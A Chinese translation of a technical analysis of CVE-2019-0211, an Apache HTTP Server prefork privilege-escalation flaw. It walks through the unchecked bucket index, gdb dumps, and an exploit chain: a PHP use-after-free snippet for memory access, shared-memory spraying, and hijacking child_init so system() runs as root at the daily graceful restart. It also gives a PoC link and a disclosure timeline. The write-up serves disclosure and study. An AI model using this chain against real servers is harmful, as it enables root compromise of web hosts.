CVE-2019-0211 Apache提权漏洞分析

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:从该漏洞涉及到三个函数

CVE-2019-0211 Apache提权漏洞分析

简介

2.4.172015109 日)到 2.4.38(201941)Apache HTTP 版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动 Apache 服务 (apache2ctl graceful) 来触发。在 Linux 默认配置中,每天会在早上 625 分自动运行一次该命令,从而重启日志文件的处理任务。

该漏洞涉及到三个函数 mod_prefork,mod_workermod_event 。后面的漏洞描述,分析和触发都主要从 mod_prefork 展开。

漏洞描述

MPM prefork 模式下,服务器主进程会运行在 root 权限下,管理一个单线程的进程池。低权限 (www-data)Worker 进程处理 HTTP 请求头。 Apache 通过共享包含有 scoreboard (包含诸如 PID 、请求等 Worker 进程信息)的共享内存空间( SHM )来处理 worker 进程返回的信息。每一个 Worker 进程都对应一个关联自身 PIDprocess_score 结构,拥有着对 SHM 的读写权限。

ap_scoreboard_image: 共享内存空间的指针

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
 
PID19447的Worker进程的共享内存空间
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '00', 
  not_accepting = 0 '00', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

Apache 重启的时候,它的主进程会关闭旧的 Worker 进程并生成新的来替换掉。在这里主进程会用 all_bucket 这一函数来使用所有旧的 Worker 进程占用的 bucket (内存空间)值。

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

这里没有进行边界检查,也就是说任意一个 Worker 进程都可以改变自身 bucket 的值来指向共享内存区域,从而在重启的时候控制 prefork_child_bucket 函数的结构。最终在权限恢复之前,通过 mutex->meth->child_init() 这一调用过程,实现暂时以 root 权限调用函数。

存在风险的代码区域

理一遍 server/mpm/prefork/prefork.c 来看下是什么地方导致了这一漏洞。

(译者注: L 数字代表该文件中对应的代码行数)

  • 一个恶意的 Worker 进程改变自身共享内存中自身的 bucket 的值,从而指向共享内存空间。
  • 在第二天的早上 6.25 分, logrotate 请求 Apache 重启一次服务。
  • 之后 Apache 主进程会关闭第一个 Worker 进程,生成新的 Worker 级才能哼。
  • 这个过程是通过发送 SIGUSR1 信号给 Worker 进程来实现的, Worker 进程收到信号后会立刻退出。
  • 然后调用 prefork_run()L853 )函数来生成新的 Worker 进程。由于存在 retained->mpm->was_graceful 这一过程, Worker 进程不会立刻重启。
  • 在进入主循环( L933 )并监控旧的 Worker 进程的 PID ,可以看到旧的 Worker 进程关闭后, ap_wait_or_timeout() 函数会返回它 PID 的值( L940
  • process_scoreindex 值以及 PID 值会存储在 child_slot(L948)
  • 如果删除旧的 Worker 进程没有报错( L969 )的话, make_child() 函数会调用 ap_get_scoreboard_process(child_slot)->buctet 的值作为参数( L985 ),正如之前提到的一样, bucket 的值已经被恶意 Worker 给修改了。
  • make_child() 函数会 fork(L671) 主进程来生成新的子进程。
  • OOB 会读取 (L691) 发生的过程,导致 my_bucket 函数遭到攻击者的控制。
  • child_main() 函数会调用 (L722) ,相比 (L433) 处更快调用函数。
  • SAFE_ACCEPT(<code>) 只有在 Apache 监听两个或更多的端口时执行 <code> ,一般来说服务器通常监听着 HTTP(80)HTTPS(443)
  • 假设 <code> 成功执行,会调用 apr_proc_mutex_child_init() 函数,从而通过 (*mutex)->meth->child_init(mutex, pool, fname) 的调用过程来控制互斥锁。
  • 在执行完 (L446) 后权限恢复到正常的低权限。

利用过程:

利用过程包括四个步骤: 1 、获取 Worker 进程的读写权限 .2 、向共享内存空间( SHM )写入一个假的 prefork_child_bucket 结构。 3 、将 all_bucket[bucket] 指向结构。 4 、等待构造的函数被调用。

这一过程的好处:

始终没有创建过主进程,所有过程都映射在访问 /proc/self/maps(ASLR/PIE 保护无效 ) 中,当一个 Worker 进程关闭或报错时,它会自动由主进程重新创建,所以不会有 DOS Apache 服务器的风险。

缺点:

PHP 不允许对 /proc/self/mem 的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用 all_bucket 函数。

1. 获取 Worker 进程的读写权限

PHP UAF0day 漏洞

由于 mod_prefork 函数经常和 mod_php 函数一起使用,因此可以从 CVE-2019-6977 这里下手实现漏洞的利用。我在写 exp 的过程中发现 PHP7.X 下的 UAF 0day 漏洞在 PHP5.X 中也能复现。

PHP UAF

<?php

 

class X extends DateInterval implements JsonSerializable

{

  public function jsonSerialize()

  {

    global $y, $p;

    unset($y[0]);

    $p = $this->y;

    return $this;

  }

}

 

function get_aslr()

{

  global $p, $y;

  $p = 0;

 

  $y = [new X('PT1S')];

  json_encode([1234 => &$y]);

  print("ADDRESS: 0x" . dechex($p) . "n");

 

  return $p;

}

 

get_aslr();

这里有一个 PHP 对象的 UAF :即使我们无法设置 $y[0](X 的一个实例 ) ,我们也可以利用 $this

UAF 的读写权限

我们想要实现两个目标:读取内存地址来找到 all_buckets 的位置,修改 SHM 来改变 bucket 的值,从而加上我们自己的结构。

好在 PHP 的堆正好在这两片地址区域的前面。

PHP 堆的内存地址, ap_scoreboard_image->*all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p

7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

 

(gdb) p *ap_scoreboard_image

$14 = {

  global = 0x7f4a9323e008,

  parent = 0x7f4a9323e020,

  servers = 0x55835eddea78

}

(gdb) p all_buckets

$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

考虑到我们触发了 PHP 对象中的 UAF ,对象中的任意属性都属于 UAF 漏洞的范围。我们可以将 zend_object UAF 改为 zend_string ,从而获得一个 zend_string 结构。

(gdb) ptype zend_string

type = struct _zend_string {

    zend_refcounted_h gc;

    zend_ulong h;

    size_t len;

    char val[1];

}

len 属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间: SHMApacheall_buckets

找到 bucketindex 值和 all_bucket

我们需要改变 ap_scoreboard_image->parent[worker_id]->bucket 来获得特定的 worker_id 。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。

共享内存空间和目标 process_socre 结构

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s

7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

 

(gdb) p ≈_scoreboard_image->parent[0]

$18 = (process_score *) 0x7f4a9323e020

(gdb) p ≈_scoreboard_image->parent[1]

$19 = (process_score *) 0x7f4a9323e044

要定位 all_bucket ,我们需要充分利用 prefork_child_bucket 结构,所以我们需要:

导入 bucket 值的结构

prefork_child_bucket {

    ap_pod_t *pod;

    ap_listen_rec *listeners;

    apr_proc_mutex_t *mutex; <--

}

 

apr_proc_mutex_t {

    apr_pool_t *pool;

    const apr_proc_mutex_unix_lock_methods_t *meth; <--

    int curr_locked;

    char *fname;

 

    ...

}

 

apr_proc_mutex_unix_lock_methods_t {

    unsigned int flags;

    apr_status_t (*create)(apr_proc_mutex_t *, const char *);

    apr_status_t (*acquire)(apr_proc_mutex_t *);

    apr_status_t (*tryacquire)(apr_proc_mutex_t *);

    apr_status_t (*release)(apr_proc_mutex_t *);

    apr_status_t (*cleanup)(void *);

    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--

    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);

    apr_lockmech_e mech;

    const char *name;

}

all_buckets[0]->mutex 会定位在同一个 all_buckets[0] 的内存区域,考虑到 meth 是一个静态结构,它会定位到 libaprdata 上,又因为 meth 指向了 libapr 的函数,所以每一个函数的指针都在 libaprtext 内。

到这里我们通过 /proc/self/maps 有了整片内存区域的地址信息,我们可以通过修改 Apache 内存的指针来找到 all_buckets[0] 对应的结构位置。

和我之前说的一样, all_bucket 的地址在每次重启都会发生变化。所以说每次触发我们的 expall_buckets 的地址都会发生变化。之后我们会研究如何解决这问题。

2. 向共享内存空间( SHM )写入假的 prefork_child_bucket 结构

实现函数的调用

如下是构造的调用函数的过程:

bucket_id = ap_scoreboard_image->parent[id]->bucket

my_bucket = all_buckets[bucket_id]

mutex = &my_bucket->mutex

apr_proc_mutex_child_init(mutex)

(*mutex)->meth->child_init(mutex, pool, fname)

CVE-2019-0211 Apache提权漏洞分析

调用适合的函数

要实现漏洞利用,我们需要让 (*mutex)->meth->child_init 指向 zend_object_std_dtor(zend_object *object) ,也就是下面的利用过程:

mutex = &my_bucket->mutex

[object = mutex]

zend_object_std_dtor(object)

ht = object->properties

zend_array_destroy(ht)

zend_hash_destroy(ht)

val = &ht->arData[0]->val

ht->pDestructor(val)

pDestructor 指向 system, &ht->arData[0]->val 是一个字符串 .

CVE-2019-0211 Apache提权漏洞分析

3.all_bucket[bucket] 指向结构

问题和解决思路

到这里为止,如果 all_bucket 的地址每次重启不会改变,那么我们的利用过程就完成了。

  • 通过 PHP 的堆获取内存的读写权限
  • 通过结构匹配来找到 all_bucket
  • 找到 SHM 中需要的结构
  • 改变 SHM 中的 process_score.bucket ,使得 all_bucket[bucket]->mutex 指向我们的 paylaod

但考虑到 all_bucket 地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射 SHM 内存区域,用上每一个 PID 对应的 process_socre 结构。

喷射共享的内存区域

如果 all_bucket 的新地址距离旧的地址不远, my_bucket 会指向最近的结构,从而喷射获得整个 SHM 中未被使用的空间,而不是仅仅获得一个指向 SHM 的指针。这里存在一个问题,结构在 zend_object 中也使用着,所以其中有 (5*8=)40 位属于 zend_object.properties ,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构 apr_proc_mutex_tzend_array 占用剩余的共享内存,令 prefork_child_bucket.mutexzend_object.properties 指向同一个地址,来解决这一问题。现在如果 all_bucket 在原始地址不远的地方, my_bucket 就会喷射到这一范围。

CVE-2019-0211 Apache提权漏洞分析

利用所有的 process_score

每一个 Apache Worker 进程都会有一个关联的 process_score 结构和对应的 bucketindex 值。无需改变 process_score.bucket 值,我们就能改变他们占用的内存范围,比如说:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00

ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00

ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这意味着我们的成功率随着 Apache Worker 进程数量的增多而变大。每次重新生成 Worker 进程的时候,都只有一个 Worker 进程会获得 buckek 编号,但考虑到其他 Worker 进程会报错而立刻重新生成,因此这不是什么问题。

复现成功率

不同的 Apache 服务器有着不同数量的 Worker 进程,有更多的 Worker 进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的 all_buckets 函数的 index 信息。因此越多的 Worker 进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了 4Worker 进程)上有 80% 的成功率。

如果 exp 触发失败的话,它会在第二天重启的时候重新运行, Apache 的错误日志中不会包含 Worker 进程的错误信息。

4. 等到早上 6.25 查看 exp 是否成功触发

这里只需要等待就好了。

漏洞时间线

  • 2019-02-22 发送邮件 给security@apache.org ,提交了漏洞描述和 Poc
  • 2019-02-25 收到漏洞致谢, Apache 安全团队正在修复漏洞。
  • 2019-03-07 Apache 安全团队发送修复补丁进行测试,并提交 CVE 编号。
  • 2019-03-10 补丁测试通过。
  • 2019-04-01 发布新的 Apache HTTP version 2.4.39 版本。

Poc 地址:

https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache


以上所述就是小编给大家介绍的《CVE-2019-0211 Apache提权漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Twisted Network Programming Essentials

Twisted Network Programming Essentials

Abe Fettig / O'Reilly Media, Inc. / 2005-10-20 / USD 29.95

Developing With Python's Event-driven Framework一起来看看 《Twisted Network Programming Essentials》 这本书的介绍吧!

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具